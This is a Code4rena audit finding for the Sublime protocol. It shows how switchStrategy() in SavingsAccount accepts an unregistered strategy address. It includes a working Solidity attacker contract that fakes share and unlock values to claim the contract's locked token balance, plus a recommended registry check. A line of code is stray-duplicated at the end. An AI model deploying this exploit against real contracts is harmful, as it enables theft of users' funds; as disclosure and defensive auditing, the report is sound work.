Sublime contest - kemmio's results

Handle

kemmio

Vulnerability details

Impact

A malicious actor can manipulate switchStrategy() function in a way to withdraw tokens that are locked in SavingsAccount contract (the risk severity should be reviewed)

Proof of Concept

Firstly an attacker need to deploy a rogue strategy contract implementing IYield.getSharesForTokens() and IYield.unlockTokens() functions and calling switchStrategy() with _currentStrategy = ROGUE_CONTRACT_ADDRESS (_newStrategy can be any valid strategy e.g. NoYield)

https://github.com/code-423n4/2021-12-sublime/blob/main/contracts/SavingsAccount/SavingsAccount.sol#L160

require(_amount != 0, 'SavingsAccount::switchStrategy Amount must be greater than zero');

Bypass this check by setting _amount > 0, since it will be overwritten in line https://github.com/code-423n4/2021-12-sublime/blob/main/contracts/SavingsAccount/SavingsAccount.sol#L162

_amount = IYield(_currentStrategy).getSharesForTokens(_amount, _token);

getSharesForTokens() should be implemented to always return 0, hence to bypass the overflow in lines https://github.com/code-423n4/2021-12-sublime/blob/main/contracts/SavingsAccount/SavingsAccount.sol#L164-L167

balanceInShares[msg.sender][_token][_currentStrategy] = balanceInShares[msg.sender][_token][_currentStrategy].sub(
_amount,
'SavingsAccount::switchStrategy Insufficient balance'
);

since balanceInShares[msg.sender][_token][_currentStrategy] == 0 and 0-0 will not overflow

The actual amount to be locked is saved in line https://github.com/code-423n4/2021-12-sublime/blob/main/contracts/SavingsAccount/SavingsAccount.sol#L169

uint256 _tokensReceived = IYield(_currentStrategy).unlockTokens(_token, _amount);

the rouge unlockTokens() can check asset balance of the contract and return the full amount

After that some adjustment are made to set approval for the token or to handle native assets case https://github.com/code-423n4/2021-12-sublime/blob/main/contracts/SavingsAccount/SavingsAccount.sol#L171-L177

uint256 _ethValue;
if (_token != address(0)) {
    IERC20(_token).safeApprove(_newStrategy, _tokensReceived);
} else {
    _ethValue = _tokensReceived;
}
_amount = _tokensReceived;

Finally the assets are locked in the locked strategy and shares are allocated on attackers acount https://github.com/code-423n4/2021-12-sublime/blob/main/contracts/SavingsAccount/SavingsAccount.sol#L179-L181

uint256 _sharesReceived = IYield(_newStrategy).lockTokens{value: _ethValue}(address(this), _token, _tokensReceived);

balanceInShares[msg.sender][_token][_newStrategy] = balanceInShares[msg.sender][_token][_newStrategy].add(_sharesReceived);

Proof of Concept

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Attacker{
	function getSharesForTokens(uint256 amount, address token) external payable  returns(uint256){
		return 0;
	}
	function unlockTokens(address token, uint256 amount) external payable returns(uint256){
		uint256 bal;
		if(token == address(0))
			bal = msg.sender.balance;
		else
			bal = IERC20(token).balanceOf(msg.sender);
		return bal;
	}
}

Tools Used

Recommended Mitigation Steps

Add a check for _currentStrategy to be from strategy list like the one in line https://github.com/code-423n4/2021-12-sublime/blob/main/contracts/SavingsAccount/SavingsAccount.sol#L159

require(IStrategyRegistry(strategyRegistry).registry(_newStrategy), 'SavingsAccount::_newStrategy do not exist');

			bal = IERC20(token).balanceOf(msg.sender);